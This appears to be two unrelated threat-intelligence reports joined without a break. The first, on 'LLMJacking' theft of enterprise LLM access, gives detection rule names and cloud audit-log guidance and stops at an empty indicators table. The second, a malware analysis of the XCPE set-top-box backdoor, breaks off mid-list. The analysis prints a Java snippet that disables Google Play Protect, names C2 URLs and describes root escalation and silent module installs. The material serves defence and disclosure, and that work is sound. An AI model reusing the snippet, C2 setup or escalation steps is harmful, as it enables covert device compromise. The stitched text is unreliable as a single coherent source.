Written by: Christopher Romano, Codi Starks, Garrett Mahoney, John Wolfram, Josh Murchie, K Singh, Mathew Potaczek, Mike Lombardi, Rik Dolfing

Introduction 

Mandiant responded to multiple incidents in 2026 in which threat actors hijacked enterprise access to Large Language Models (LLMs), a tactic known as "LLMJacking." Spanning a variety of cloud and LLM providers, these intrusions impacted organizations in North America, South America, and Asia Pacific across the financial services, retail, technology, and transportation sectors. 

Unlike the gradual resource consumption associated with cryptojacking, LLMJacking can generate large spikes in fraudulent cloud charges in a matter of hours. Across individual incidents, we observed fraudulent charges associated with resource consumption exceeding $100,000 USD in a single day, with cumulative charges at some organizations reaching $1 million USD before access was revoked.

Analyzing the criminal ecosystem behind these frontline compromises, and building upon previous reporting on the growing underground market for LLM credentials, Google Threat Intelligence Group (GTIG) has identified a diverse set of financially motivated threat clusters operating out of multiple regions globally.

As the LLMJacking ecosystem matures, we are also tracking a division of labor between threat actors establishing initial access to compromised environments and operators managing downstream monetization infrastructure, known as “LLM Mixers”. LLM Mixers function as illicit routing gateways that proxy, aggregate, and resell unauthorized LLM access to underground subscribers. In one investigation, GTIG observed two distinct operational clusters coordinating to compromise and monetize enterprise LLM infrastructure, demonstrating the sophisticated specialization emerging in this space.

In this blog post, we describe the attack lifecycle observed across recent LLMJacking investigations and provide actionable detection, hardening, and remediation guidance to help organizations secure their infrastructure. 

Initial Access

While low-level resource theft has involved the manipulation of customer support chatbots to conduct unauthorized tasks like code generation, threat actors conducting LLMJacking bypass these front-end interfaces to target backend model resources directly. Specifically, they focus on either identifying publicly exposed LLM endpoints or obtaining valid LLM application programming interface (API) keys. An example of the latter can be seen in Figure 1, where a threat actor uses an automated script to verify exposure by calling the /api/create endpoint to independently run their own models on endpoints that unsuspecting users have left publicly accessible. Leaving these services unprotected not only expands an organization's traditional attack surface, but could also introduce a significant increase in hosting costs.

Across multiple LLMJacking investigations, however, the dominant initial access vector has been exposed or stolen cloud identity tokens—including IAM credentials, Service Account keys, GitHub Personal Access Tokens (PATs), and active session tokens—which threat actors leverage to establish an initial foothold into target organizations' infrastructure.

For instance, in mid-2026 UNC6993 compromised a cloud instance through a misconfigured Service Account key and used this access to grant further access to an LLM API. UNC6993 also hosted a session hijacking page masquerading as an application portal to join a group of LLM users. This page tricks users into navigating to the legitimate LLM service website, and pasting their raw JSON payload containing an active access token, which was then posted to the backend  API to bypass password and multifactor authentication (MFA) controls.

In another instance, one threat actor gained initial entry by combining a stolen Personal Access Token (PAT) to access private code repositories with the exploitation of a suspected web application vulnerability in a package running within a containerized cloud environment. Similarly, a different threat actor leveraged compromised IAM credentials of corporate users, using cloud federation tokens to programmatically generate fresh access keys to circumvent MFA requirements. In a separate incident, a threat actor was first observed accessing the environment with a compromised cloud Service Account key with broad project permissions.

Beyond general cloud identity credentials, threat actors also target LLM API keys. For example, a threat actor opportunistically harvested exposed corporate LLM API keys from public GitHub repositories. Demonstrating advanced evasion tradecraft, the group conducted automated credential validation sweeps using minimal single-token requests (max_tokens=1). This allowed the threat actor to stealthily confirm the viability of the stolen keys while remaining undetected by the victim’s endpoint detection and response (EDR) and SIEM volume anomaly alerts.

Lateral Movement and Persistence

After gaining an initial foothold, threat actors systematically work to escalate privileges, solidify access, and conduct internal reconnaissance to identify targets and further cloud credentials.

To expand their access, threat actors enumerated cloud services, code repositories, and data stores for sensitive credentials. In one intrusion, a threat actor conducted internal reconnaissance across multiple cloud regions to map available services and identity policies. In a separate intrusion, a threat actor compromised a containerized cloud environment. Once inside, they performed extensive repository reconnaissance, cloning sensitive codebases to search for hardcoded secrets, configuration variables, and developer credentials. They also scanned access logs to identify credentials for secondary cloud environments. Threat actors also executed targeted database queries to harvest additional credentials; in one case, the threat actor queried cloud data warehouse metadata tables to search for database credentials, administrator passwords, and sensitive columns, alongside performing cloud object storage operations associated with targeted data theft.

Across intrusions, we observed threat actors abusing cloud identity permissions and virtual machine configurations to escalate privileges and maintain persistent access. Utilizing service accounts associated with compromised workloads, one threat actor exploited token-creation privileges to generate temporary credentials for high-privilege service accounts, resulting in the exfiltration of infrastructure credentials, internal database passwords, and third-party API keys from cloud secret managers. Other threat actors established persistence by creating unauthorized IAM and service accounts and injecting SSH keys into compute instances. Specifically, one actor escalated privileges by attaching administrative policies to service roles, created unauthorized IAM accounts with full administrative rights, and established interactive management sessions into running virtual machines to inject unauthorized SSH public keys into host configuration files. Similarly, another threat actor created deceptive backdoor service accounts disguised as internal billing optimization utilities and injected environment-wide SSH keys into compute instance metadata.

Beyond exploiting traditional cloud infrastructure permissions, we have observed instances of threat actors targeting vulnerabilities specifically within LLM routing software to escalate privileges. In one case, after acquiring pre-validated Virtual Keys from the threat actor that established initial access, a follow-on cluster executed targeted application logic exploitation against the victim's LiteLLM gateway. The actor exploited a user ID rebind vulnerability in the /key/regenerate endpoint (CVE-2026-40217) to elevate standard Virtual Keys into full PROXY_ADMIN master administrative credentials, establishing deep, persistent control over the compromised environment.

LLM Abuse

The ultimate objective of LLMJacking is the monetization and resource-hijacking of foundation models, which actors achieve through token proxying, automated model streaming, and GPU hardware provisioning.

Threat actors frequently enabled a variety of managed generative platforms, and created additional API keys to scale their operations. Upon acquiring LLM API access keys, UNC6993 attempted to generate additional API keys and enable associated services within victim cloud projects, quickly accumulating over $100,000 USD in billing charges. Another threat actor subscribed victim accounts to Pay-As-You-Go agreements, selecting premium foundation models and launching high-volume inference streams. To bypass rate limits, the threat actor deployed a "burn and rotate" strategy, continuously creating and deleting short-lived service accounts while auditing the cloud provider’s billing interface to monitor financial impact.

Threat actors also leveraged their access to host their own proxy endpoints and agentic workloads. For example, one threat actor enabled agents, deployed publicly accessible reverse proxies, and used custom Node.js proxy bundles to expose endpoints compatible with multiple frontier LLMs rebranded under a persona known as D1337-KAIROS. The actor deployed a containerized backdoor using the Manus agent framework to the compromised cloud environment, which queried an upstream LLM to reason through instructions and execute resulting commands locally, supported by SearXNG metasearch and agent-infra/sandbox execution environments. To scale compute, the threat actor provisioned compute instances with powerful GPUs, attempted to spin up high-end hardware across multiple regions, and requested quota increases via the cloud provider’s API. The actor also hosted LiteLLM gateways on external servers to manage and route API traffic.

Rather than consuming hijacked compute solely for their own operations, GTIG observed evidence of threat actors monetizing compromised API quotas by selling access to these resources through LLM Mixers. The threat actors used open-source API gateways and custom relay infrastructure to pool stolen credentials, meter usage, and obscure the origin of the requests. For example, UNC6993 used open-source tools such as new-api (a centralized model hub and gateway) and gcli2api (an API proxy tool converting command line interface (CLI) tools into standard frontier model endpoints), likely to aggregate stolen keys and balance request loads across accounts. We believe the threat actor sells access to these tools via underground storefronts.

Another threat actor that executed more than 500,000 LLM API calls in less than eight hours leveraged stolen third-party API keys to power the token routing service jet-night.com. Jet Night passed nearly one million dollars in token costs to the victim organization. Given Jet Night’s per-token costs to users are so far below typical market rates GTIG believes the service relies on stolen keys to operate profitably. For example, Jet Night offers an unlimited token plan for approximately $60 USD per month with alleged access to frontier models, a consumer service level that would typically run between $100 and $250 per month. Moreover, the service has advertised multiple outages on its public Telegram channel which is likely due to stolen keys being revoked as victims discover their respective compromises.

A threat actor deployed custom proxy relay infrastructure (ai-relay) hosted on deceptive lookalike domains. For example, they registered a domain to masquerade as the victim's legitimate internal host. This custom relay infrastructure was used to seamlessly siphon high-value commercial LLM access into the illicit newapi[.]pro resale ecosystem, directly draining the victim's corporate account quotas to serve their underground customers.

Outlook

GTIG expects that threat actors will increasingly prioritize LLMJacking over traditional resource theft like cryptojacking, driven by the immediate, high-margin monetization enabled by emerging underground LLM Mixers. As enterprises integrate higher-tier models and agentic workflows into production environments, cybercriminals will likely refine automated reconnaissance to target exposed API tokens and exploit vulnerabilities in model routing middleware. This operational specialization will sustain a growing illicit resale marketplace, allowing threat actors to rapidly siphon enterprise quotas while passing the billing costs to victims before compromises are detected.

Detection and Hunting

In the event that security measures have failed, it is critical that defenders have early visibility into abuse of cloud LLM platforms. Defenders should prioritize detection of modifications to LLM accounts and services and treat any unauthorized enablement as a critical security event. In multiple incidents that Mandiant investigated, LLM services were not enabled at the time of compromise. Abuse of access keys allowed the threat actor to modify and enable LLM API services (e.g. Bedrock, Gemini API, etc.). Once enabled, the threat actor can use the APIs to generate massive bills to the organization in just minutes or hours. 

Google Security Operations

Google Security Operations customers have access to these broad category rules and more under the Cloud Threats, Mandiant Frontline Threats, Mandiant Hunting Rules rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• AWS Account Key Creation

• AWS Create New Access Key

• AWS Create User Account

• AWS Delete User Account

• Base64 Encoded Shell Command Execution

• Create and Delete Firewall in Default Network

• GCE Project SSH Keys

• GCP Service Account Key Creation

• GCP Create New Service Account

• GCP Firewall Rule Created

• Linux Archive Exfiltration via Curl or Wget

• Persistence: Compute Set Instance or Project Metadata Startup Scripts or URLs

Mitigation and Remediation

To prevent attackers from abusing Cloud LLM services, defenders should prioritize Identity and Access Management (IAM) and supply chain security, two of the most common pathways for gaining access to and abusing Cloud services. 

• Credential Hygiene: Utilize a centralized secrets management platform to control the management and rotation of sensitive keys and secrets. Automation of secrets and keys can limit the lifespan of leaked credentials. 

• Least Privilege: Ensure users and service accounts only possess the permissions necessary for their specific role and required tasks. Deny all permissions that are not explicitly required, including access to Cloud LLM services. 

• Code Monitoring: Automate secret scanning within codebases (GitHub, Gitlab, etc.) to ensure API keys and secrets added to source code are identified and removed promptly. 

• Routine Configuration Audits: Perform periodic comprehensive configuration audits of Cloud services to identify potential attack paths and unintended exposure of endpoints. 

• Rate Limiting: Implement a WAF like Google’s Cloud Armor to enforce rate limiting for individual client connections.

• Network Allow Listing: Restrict outbound connections from Cloud services via VPC firewall rules to known IP addresses where feasible.

• Budget Alerts: Implement granular API quotas on LLM services to limit request volume per model. Utilize spending caps to set budgets and avoid over-spending.

• Multi-Factor Authentication (MFA): Enforce phishing-resistant multi-factor authentication across all cloud identity providers, management consoles, and developer platforms to ensure that stolen credentials or session tokens cannot be easily exploited.

• Shadow LLM Discovery: Utilize Security Posture Management tools to automatically scan your hybrid cloud environments and identify unauthorized or unmonitored tools, models, and infrastructure, ensuring complete visibility of your model footprint.

• Granular API Key Scopes: Restrict and segment API keys by specific model endpoints, environments (dev/prod), and usage limits to ensure a compromised token for a basic utility model cannot be used to invoke expensive, high-tier frontier models.

• Validation Sweep Monitoring: Monitor model gateway and API access logs for anomalous, low-volume requests (such as max_tokens=1 or zero-temperature pings). Attackers frequently use these micro-transactions for stealthy credential validation sweeps prior to launching large-scale infrastructure abuse.

• Vulnerability & ML Supply Chain Patching: Integrate automated vulnerability scanning (SAST/DAST/SCA) across your custom application code, containerized workloads, and machine learning dependencies (like PyTorch and Hugging Face libraries) to prevent initial access via unpatched server vulnerabilities.

• Gateway Patch Management: Extend vulnerability management programs to include centralized model proxy and routing  gateways (e.g., LiteLLM), ensuring rapid patching against privilege escalation and authentication bypass flaws (such as CVE-2026-40217).

• Sandboxed Execution for Dynamic Workloads: Isolate the runtime environment in highly virtualized, process-isolated, serverless sandboxes if your LLM application is required to execute generated code or database queries dynamically.

• Vetted Model Repositories: Restrict and enforce model pulls and pipeline dependencies solely from trusted internal registries or approved enterprise catalogs to prevent developers from pulling compromised models containing pre-configured backdoors.

• Graph-Based Exposure Modeling: Implement continuous, graph-based risk prioritization that maps cloud assets, application code, and data flows to automatically identify and remediate complex, multi-hop attack paths.

• Adversarial Exposure Validation: Deploy automated offensive agents to continuously test external attack surfaces, uncover exposed endpoints, and simulate credential validation sweeps.

Monitoring Native Cloud Audit Logs 

• AWS: Monitor CloudTrail logs for API events from bedrock.amazonaws.com. Based on historical LLM Jacking incidents, monitor for the following API operations across the attack lifecycle:

• Resource Exploitation: Monitor for direct execution of the LLM via the Converse, InvokeModel, and InvokeModelWithResponseStream API operations.

• API Throttling & Error Spikes: Monitor for high-volume spikes in ThrottlingException, ValidationException, or ResourceNotFoundException errors, which could indicate an automated “spraying” methodology targeting cloud infrastructure.

• Target Scoping: Monitor potential reconnaissance activity used to discover available models via the ListFoundationModels,ListInferenceProfiles, and GetFoundationModelAvailability operations. Additionally, monitor for attempts to unlock new models in the environment via the PutUseCaseForModelAccess and CreateFoundationModelAgreement API operations.

• Security/Evasion: Review attempts to view, alter, or disable logging configurations to conceal prompt contents and avoid detection. Monitor the GetModelInvocationLoggingConfiguration operation, as well as PutModelInvocationLoggingConfiguration and DeleteModelInvocationLoggingConfiguration. Any calls to disable logging by non-IaC (Infrastructure as Code) principals should be treated as high severity.

Automated Tooling: Analyze User-Agent strings to identify automated tools and SDKs (e.g., claude-cli, aws-sdk-rust, and aws-sdk-go-v2) interacting directly with the target cloud infrastructure.

• Azure: Monitor Azure Activity Logs (Control Plane) and Diagnostic Logs (Data Plane) for events associated with the Microsoft.CognitiveServices namespace. To hunt for or detect LLM Jacking incidents, monitor the following operations:

• Resource Exploitation: Monitor for direct execution of the LLM. In Azure, model invocations occur on the data plane and require Diagnostic Logs to be enabled. Look for high volumes of POST requests to inference endpoints such as Completions or Chat Completions APIs. On the management plane (Activity Logs), monitor for unauthorized creation of new instances via the Microsoft.CognitiveServices/accounts/deployments/write operation.

• Target Scoping: Monitor potential reconnaissance activity to discover available Azure LLM resources, models, and deployments via the Microsoft.CognitiveServices/accounts/read and Microsoft.CognitiveServices/accounts/deployments/read operations.

• Security/Evasion: Review attempts to view or modify logging configurations (to see if data plane model invocations are being recorded) via the Microsoft.Insights/diagnosticSettings/read, Microsoft.Insights/diagnosticSettings/write, or Microsoft.Insights/diagnosticSettings/delete operations.

• GCP: Monitor Cloud Audit Logging for calls to Gemini Enterprise Agent Platform endpoints (aiplatform.googleapis.com). Gemini Enterprise Agent Platform inference operations are contained within Data Access logs, which are disabled by default due to volume and ingestion costs. You must manually configure your IAM audit policies to track these.

• Enablement of Agent Platform Services: Alert on enablement of Gemini Enterprise Agent Platform services via the google.api.serviceusage.v1.ServiceUsage.EnableService method.

• Resource Exploitation: Monitor for direct execution of the LLM via Gemini Enterprise Agent Platform, which requires Data Access audit logging to be enabled. Look for google.cloud.aiplatform.v1.PredictionService.Predict, google.cloud.aiplatform.v1.PredictionService.GenerateContent, and google.cloud.aiplatform.v1.PredictionService.StreamGenerateContent operations.

• Target Scoping: Monitor potential reconnaissance activity to discover available models and endpoints via the google.cloud.aiplatform.v1.ModelService.ListModels, google.cloud.aiplatform.v1.EndpointService.ListEndpoints, and google.cloud.aiplatform.v1.PublisherModelService.ListPublisherModels API operations.

• Security/Evasion: Review attempts to view or alter logging and audit configurations. Monitor for operations like google.iam.v1.IAMPolicy.GetIamPolicy (to check if Data Access logs are enabled on the project/resource) or attempts to review log exports via google.logging.v2.ConfigServiceV2.ListSinks and google.logging.v2.ConfigServiceV2.GetSink.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Network Indicators

Table 1: Network Indicators

Introduction 

Last week, Google and industry partners dismantled the XCPE backdoor which enrolled more than 1.3 million set-top boxes into a botnet. We assess with high confidence that the backdoor and botnet were intentionally developed, deployed, and operated for financial gain by Videostrong Technology Co., an Android Original Equipment Manufacturer (OEM) and Original Design Manufacturer (ODM).

Videostrong monetized the backdoor by selling access to criminal affiliates and loading those affiliates’ malware modules onto infected devices. These secondary modules were conducting ad-fraud; silently enrolling infected devices into residential proxy networks; and loading additional malware onto XCPE-compromised devices. We also took action to disrupt the command and control (C2) domains that operate these affiliate modules. Because these affiliates each have diversified distribution channels for their modules beyond XCPE, we assess that taking down their C2 domains will sever access to at least 10 million additional compromised devices. 

We found this malicious software built directly into many different device models and brands over multiple years, supported by dedicated infrastructure and constantly evolving configurations to evade detection and manage their affiliates. We believe this campaign wasn’t an isolated rogue insider or a development oversight. As a result, Google has cut ties with Videostrong and banned them from making devices with preloaded Google apps. 

Google requires OEMs go through a comprehensive suite of compatibility and security tests to ensure a consistent and safe user experience across the Android ecosystem. However, Videostrong employed obfuscation techniques to exploit a gap in our tests and load malicious code after the device's first boot. As a result, Google has implemented changes to its existing review process to better safeguard against similar activity in the future. A device manufacturer intentionally infecting their users with malware is an unacceptable breach of trust, and represents a serious risk to those users. Without users’ knowledge or consent, infected devices were offered as a distribution mechanism for a wide array of criminal actors. This led to a variety of malicious activities being conducted on and through the devices, including ad-fraud, data exfiltration, and routing malicious network traffic through the devices.

We worked closely with Japan’s National Police Agency, Lumen, HUMAN Security, Plume, Synthient, and TrendAI to analyze this malware ecosystem and disrupt its operations. 

While we expect this disruption to have a significant effect on these criminal operations, this is not the end of our work combatting malicious activity. Backdoor operators, ad-fraud rings, and residential proxy providers operate as an interconnected supply chain. Point-in-time disruptions are a critical tool to protect our users, but  lasting disruption in this fluid ecosystem will require continued targeting of this infrastructure. 

Google undertook the following actions to support disruption of the XCPE botnet: 

• Legal action to take down the domains and servers Videostrong used to control the botnet and install malware modules

• Legal action to take down C2 domains used by over a dozen malware families loaded as modules via this backdoor

• Banned Videostrong and any future subsidiaries or affiliates from building and selling certified Android devices in the future, or supplying software to other certified vendors

• Implementing improvements to how we ensure the integrity of firmware on certified Android TV devices 

Overview 

The x.cpe network was built for ongoing profit. By giving malware affiliates backdoor access, the operators conspired to monetize these devices long after purchase.

Malware

Since at least late 2024, Videostrong has evolved its pre-installed malware from simple single-stage droppers into a modular, three-stage architecture designed for resilience and multi-tenant monetization: 

• Primary Backdoor: Operating at the android.uid.system privilege level, x.cpe (running as com.oemservice in some builds) is preloaded in the firmware partition. If uninstalled by a user, it automatically reinstalls from the /oem/ partition upon reboot, maintaining persistent system-level access. Its main function is to establish and facilitate communications between the C2 server and the loader and execution engine. 

• Loader and Execution Engine: To evade security scans, x.cpe acts primarily as the C2 communicator and offloads module execution to an external loader, com.abc.nexus. This file employs native anti-analysis utilities to thwart sandbox detection, and configures and initializes the monetization modules. Most recently, com.abc.nexus has itself been phased out in favor of using more tailored dropper malware that loads and executes single modules.

• Monetization Modules: Videostrong monetizes its backdoored devices by loading monetization modules which are developed by entities other than Videostrong that act as affiliates. These modules are deployed as native ELF daemons, embedded SDKs compiled directly into the com.abc.nexus DEX bytecode, or are fetched as secondary APKs from the malware staging infrastructure.  The loaded modules transform infected devices into residential proxy exit nodes (e.g., Linkfog, AppSalt, NetNut), ad-fraud engines (e.g., CBOXTV, HiddenView), or execute additional backdoors that load even more monetization modules (e.g. Moyu, Spirit).

Infrastructure

• Command and Control: The botnet uses a two-stage C2 process. It first initiates HTTP POST requests to fetch dynamic configuration settings, geolocation data, and STUN server parameters. It then establishes a persistent, real-time Message Queuing Telemetry Transport (MQTT) connection to receive instructions for silent app installations, arbitrary shell commands, screen captures, and network reconnaissance. MQTT is a lightweight, publish-and-subscribe network protocol designed for low-bandwidth, high-latency, or unreliable remote networks.

• Malware staging infrastructure: Additional monetization modules as well as various shell scripts and legitimate applications are hosted remotely and downloaded by infected devices upon command from the operator via the MQTT broker. A significant majority of these files are hosted as Github releases on operator-owned Github pages. Other files are hosted on operator-controlled servers and file hosting sites.

Malware Deep Dive

Backdoor Initialization

The infection chain begins with a stub package (called x.cpe in some builds and com.oemservice in others) preloaded in the system partition of the firmware and running at the android.uid.system privilege level. This stub has limited functionality. Upon boot, it checks the device's oem/ directory for the corresponding x.cpe package and initiates installation into the /data/app/ directory as outlined below. 

To maintain inter-process state across the firmware ecosystem, x.cpe exports two ContentProviders, which expose structured configuration tables storing runtime parameters, device identifiers, proxy configuration blobs, and execution flags accessible by co-installed system applications. This enables other apps in Videostrong’s ecosystem, such as their YokaTV Player streaming software, to fetch configuration parameters provided by the C2 server mentioned below. 

C2 Configuration

The malware utilizes a two-stage communications protocol. It first fetches initial bootstrap configurations via an HTTP request, followed by a persistent MQTT subscription to receive commands and module download instructions. 

To dynamically derive the HTTP C2 bootstrap server, it follows the following routine:

• Queries content://com.release.debug.provider/configs for private_url via x.cpe.util.ExtraReadUtils. 

• Queries the Android system property to determine if ro.mecool.device is true.

• If true, it defaults to http://mcstb.anyevonline.com:8000 

• If false, it dynamically generates the following: http://stb[AndroidVersion][Type].anyevonline.com:8000.

Using the selected hostname, the client makes an HTTP POST request with an AES-encrypted JSON object containing hardware telemetry (SN, MAC, model, firmware version) to the following endpoints:

• /router/config/mqtt: This endpoint provides MQTT broker details (including Broker Hostname, TCP Port, Authentication Tokens/Passwords, and the specific Topic structure: /device/{model}/{chipId}/{action}. After receiving this data, the device initiates a persistent, real-time socket connection to the MQTT broker.

• /router/config/acs: This endpoint response returns URLs for ip-api[.]com  and a Google STUN server to enable the malware to identify geolocation and public IP and port mapping to traverse network address translation (NAT) boundaries. It also returns a URL (http://ott.szbboys[.]com:8000/cpe/file/upload for uploading files, logs, or diagnostic dumps from the device, and returns flags to configure ad modules (adBwmActive, adDevourUse, adDevourCode), and to enable or disable core malware modules.

• /router/config/app: This endpoint provides module-level configs, including server mappings and parameters, which x.cpe decrypts and passes to a SQLite ContentProvider named ShareProvider (com.oem.share.provider). By exposing this inter-process data interface, x.cpe enables modules to retrieve up-to-date upstream infrastructure parameters (such as URLs for additional configs, user manuals, etc).

MQTT Capabilities 

Following initial configuration, persistent real-time C2 communication is managed by the MQTT library (x.cpe.mqtt.MqttUtils). All identified samples analyzed to date utilize a single broker hostname, mqtt.szbboys[.]com. 

Specific MQTT topics are mapped to specific actions, including:

• Silent Application Installation: Fetches remote APKs to a temporary directory. 

• Disable Google Play Protect: To bypass security, AppUtils.disablePackageVerify() targets the global setting "package_verifier_user_consent" via Settings.Global.putInt and sets it to -1, disabling Google Play Protect app verification.

• Arbitrary Shell Execution: Executes remote commands via sh under system UID privilege level. Results are published to the MQTT broker.

• Shell Script Execution: Downloads and executes shell scripts via x.cpe.util.RunCmds.

• Remote Desktop Monitor & Screen Capture: Utilizes android.app.Instrumentation.sendKeyDownUpSync() to inject keycodes and Java reflection on hidden APIs (android.view.SurfaceControl.screenshot / SurfaceControl$ScreenshotHardwareBuffer) to continuously capture the screen, compress to JPEG, and publish over MQTT.

• Network Reconnaissance: Invokes embedded binaries (libtraceroute.so) to fingerprint the victim network, and perform standard ping tests. The binaries also perform robust AS-lookup WHOIS routing queries.

Our analysis of the C2 data indicates the preponderance of interactions with victim devices were related to module install, uninstall, and configuration actions. We also observed Videostrong operators executing sensitive actions on the device, including capturing live screenshots; injecting keystrokes; exfiltrating sensitive data including account information, device information, package inventories, and system logs; and executing shell scripts and commands, including to establish reverse shells on devices.

Loader and Execution Engine Details 

Earlier versions of x.cpe directly embedded malicious monetization modules. In late 2024 – possibly as a response to earlier Google enforcement related to BadBox – Videostrong removed malicious modules from x.cpe and introduced a separate malicious package they developed, com.abc.nexus, which x.cpe routes instructions and data to via Inter-Process Communication (IPC). Modern variants of x.cpe facilitate C2 communications but pass configuration parameters, module updates, and other payloads to com.abc.nexus as the execution engine. We believe the actor may have evolved the malware in this way in an attempt to ensure x.cpe could remain undetected.

Upon boot, com.abc.nexus.broadcast.BootReceiver broadcasts the com.abc.nexus.data intent, bootstrapping com.abc.nexus.service.CoreService. Within CoreService.onCreate, the application performs maintenance and persistence tasks. The main logic sets up a listener through RemoteMessageHandler for IPC communications from x.cpe,and parses JSON payloads received from it.  

After these steps, CoreService initializes the monetization modules. com.abc.nexus services extract and orchestrate a series of nested native libraries and dynamically downloaded secondary payloads which vary significantly based on sample. Many versions of com.abc.nexus come preloaded with four or more embedded modules, while other versions contain as few as one. The most common malware modules include TitanService, BwmService, AdtimeService, lb102Service, and LinkfogService (sometimes called AgentService). Discussion of these and other modules can be found in the monetization modules section. 

Persistence and Evasion

The malware operators implement a number of mechanisms to establish persistence and thwart detection and analysis.

As a system preload, x.cpe cannot be removed by the user. If x.cpe is uninstalled from /data/app/, upon reboot the x.cpe service BootReceiver follows the same routine outlined above and reinstalls the package. 

The backdoor is able to silently download additional files to the device and execute them without user consent because it first wipes user consent configuration on the device and then disables Google Play Protect:

public static void disablePackageVerify() {
    PreferenceUtils.setPackageVerifyFromUser(CPEApp.instance, true);
    AppUtils.setPackageVerify(-1); // Actioning a bypass against GPP evaluation
}

Figure 2: Disabling Google Play Protect

In many variants of com.abc.nexus, we observed the extraction of a sophisticated anti-analysis and process hardening utility libseccomp_guard.so, which runs prior to the initialization of malware modules, to ensure they remain protected from automated sandboxes and security instrumentation. It filters system calls to prevent the pausing or termination of individual threads, denies cross-process interference to ensure isolation, and prevents the spawning of child processes. 

Evolution

Since August 2026, new dropper packages have been installed via the MQTT channel, which appear to be synchronized with the mass-uninstallation of com.abc.nexus across the botnet. We assess this may represent a new evolution of the malware to further evade detection. These new packages are disguised as Android system applications, with names such as com.android.system.ntp and com.android.sso.auth.handler. Where com.abc.nexus could act as a general purpose loader and execution engine (executing instructions passed to it from x.cpe), these packages instead install single monetization modules (such as AppSalt).  Multiple variants of these packages extract a native ELF file, libexploit.so, which in turn executes functions nativeAdbRoot() and nativeAdbShell(). These functions restart the local adbd service as root, and initiate an ADB shell connection. Following this, the app uses the connection to install itself in the system partition.  The system partition is remounted as read-write and the payload replicates itself to a newly minted directory in /system/priv-app/ and creates an XML file at /system/etc/permissions/privapp-permissions-<app name>.xml. This file grants the malware android.permission.INSTALL_PACKAGES and android.permission.REBOOT. 

The app configures the malware modules through hardcoded configuration parameters, and does not listen for x.cpe IPC messages. The app itself is controlled by the operators via shell scripts pushed via the broker and executed by x.cpe. These include setting the property persist.networkstack.uninstall (which, when read by the app, triggers uninstallation and cleanup), persist.networkstack.skip_system_install (which skips system installation, forcing it to remain running in /data/app/), and persist.networkstack.install_time (which implements timestomping, overriding the default timestamp of the app to align with the other packages installed in the system directory).  

Botnet composition

The botnet is globally dispersed, with certain concentrations possibly implying market penetration for the brand distributor.

While the overwhelming majority of the infected devices in the XCPE botnet are Android TV set-top boxes, we observed a number of other infected Android-based IoT devices, including telehealth  devices, karaoke machines, and digital signage devices. 

Monetization 

x.cpe loads a variety of malicious modules for monetization. Most often the modules are associated with residential proxy services and bandwidth sharing, but we've also observed ad fraud modules. Given that a single device may be running multiple modules providing the same or similar functionality (e.g., as many as three residential proxy SDKs installed on a single device) it is clear that Videostrong seeks to monetize every infected device to the greatest extent possible. 

Services are loaded by com.abc.nexus via three methods:

• Native Daemons: Native ELF binaries prepackaged with com.abc.nexus, which are unpacked to data directories and spawned as background processes with system/root privileges.

• Embedded SDKs / Services: Java/Kotlin SDKs compiled directly into Nexus and invoked via Android Service lifecycles or IPC broadcast triggers.

• Dynamic Droppers & Secondary APK Installers: Downloader function that pulls remote native ELFs or secondary standalone APKs and invokes system package managers. Nexus receives messages from x.cpe directing it to download specific modules.

Malware modules loaded via the backdoor include the following: 

Residential Proxy / Bandwidth Sharing Modules

LINKFOG

Com.abc.nexus’s LinkfogService unpacks a Go binary named lw_android_agent  from assets/ to local app storage and supplies it with vendor parameters. This service silently turns infected devices into residential edge computing and PCDN proxy exit nodes. It connects to FRP reverse tunnels, and uploads bandwidth accounting metrics to Linkfog API backends. Linkfog (operated by Beijing Linkfog Technology via 点心云 / Dianxinyun) brands itself as a “Peer-to-Peer Content Delivery Network”.

Jaguar

The com.abc.nexus AdtimeService extracts libjaguar.so from assets/. The file is an unobfuscated 32-bit ELF binary written in C, compiled as a native Android binary. It utilizes JNI (Java Native Interface) to initialize its core routines, dynamically derives a ChaCha20 decryption key via ARM NEON SIMD instructions to decode heavily obfuscated configurations , and establishes an encrypted C2 channel. Upon successful registration, the C2 responds with JSON configuration specifying proxy endpoints. The proxy command loop x_ctrl_do_ctrl_msg delegates proxy operations based on incoming JSON variable commands, and is capable of both TCP and UDP relay.

AppSalt / Honeygain

AppSalt SDK is the residential proxy SDK owned by Honeygain, which is in turn owned by Oxylabs. com.abc.nexus.service.CoreService initializes Appsalt SDK. First, the application obtains an Appsalt SDK API key from a native library libnative_keys.so by calling its getAppsaltKey() function. Appsalt SDK is initialized without displaying a consent screen - instead it explicitly calls the optIn() method which sets a consent flag without displaying any user interface. During Appsalt SDK startup it checks the application's installation source and stops execution if the application was installed from the official Google Play Store. 

Once Appsalt is successfully initialized it establishes a WebSocket connection with the primary command and control domain. Appsalt uses JSON-formatted messages for initial check-in (registration) and heartbeat requests. Appsalt command and control servers use MessagePack formatted messages to issue commands pertaining to proxy operations. Appsalt SDK is configured with an initial set of domains that act as proxy gateways. The list of proxy gateways can be updated by the command and control server. The device establishes UDP / QUIC connections with these gateways.

BWM / IPWeb

This residential proxy and bandwidth-sharing node is implemented through the com.abc.nexus.service.BwmService component (sometimes named com.abc.nexus.service.SN4Service) and its associated SDK. Upon initialization, it secures itself within an isolated sandbox environment, captures device telemetry, and registers with a remote server over UDP. From this C2, it receives instructions to initiate a Java NIO TCP multiplexed proxy tunnel. The service functions to route arbitrary traffic through the infected device on behalf of a remote threat actor.

GaGaNode

GaGaNode is the first-party SDK owned by residential proxy operator IPCola. It connects over TCP to a primary C2 server and sends heartbeat beacon data over HTTP POST to a separate server. The SDK both contains its own proxy relay functionality, and it initializes additional proxy SDKs from affiliates. Upon device registration to the C2, com.gaganode.sdk.node.endpoint.a receives incoming packets from relay servers and places them in queue for the client to read and proxy through its exit node socket. The service manages multiple proxy sessions at once (referred to as clients), and each client has its own tcp/udp queue for messages.

We observe GaGaNode initializing PopaNet/NetNut and EarnFM Fleet residential proxy SDKs. GaGaNode/IPCola is thus likely able to further monetize its SDK and offer these affiliates access to the infected exit nodes.

NetNut / Popanet

Popanet is a residential proxy SDK developed by NetNut, a residential proxy operator. The GaGaNode module initiates the Popanet SDK (io.popanet.Popa). This malware is identical to the malware described in our previous disruption of NetNut. All C2 infrastructure used by Popanet samples connected to x.cpe was taken down as part of the earlier Netnut disruption.

Traffmonetizer

